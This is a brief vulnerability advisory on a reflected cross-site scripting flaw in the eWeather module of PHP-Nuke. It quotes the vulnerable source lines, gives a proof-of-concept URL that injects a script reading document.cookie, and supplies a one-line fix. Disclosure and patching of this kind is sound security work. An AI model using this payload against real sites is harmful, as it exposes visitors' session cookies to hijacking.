//////////XSS in PHP-Nuke (eWeather module) PHP-Nuke (http://phpnuke.org): PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases. eWeather module (http://www.janitorialservice.us): Weather module based on eWeather.biz data with 3 additional blocks 2 side and one center block. ///Details From source-code of /modules/eWeather/index.php Line 35: $zipCode=$chart; Line 47: echo "<div align =\"center\"><h2>USA weather for zip code $zipCode</h2>"; "chart" variable is unvalidated. ///Exploit http://example.net/modules.php?name=eWeather&chart=[XSS] http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(doc ument.cookie)%3C/script%3E ///Fix Change line 35 to "$zipCode=(int)$chart;" ///Author: NetJackal http://netjackal.by.ru http://hackerz.ir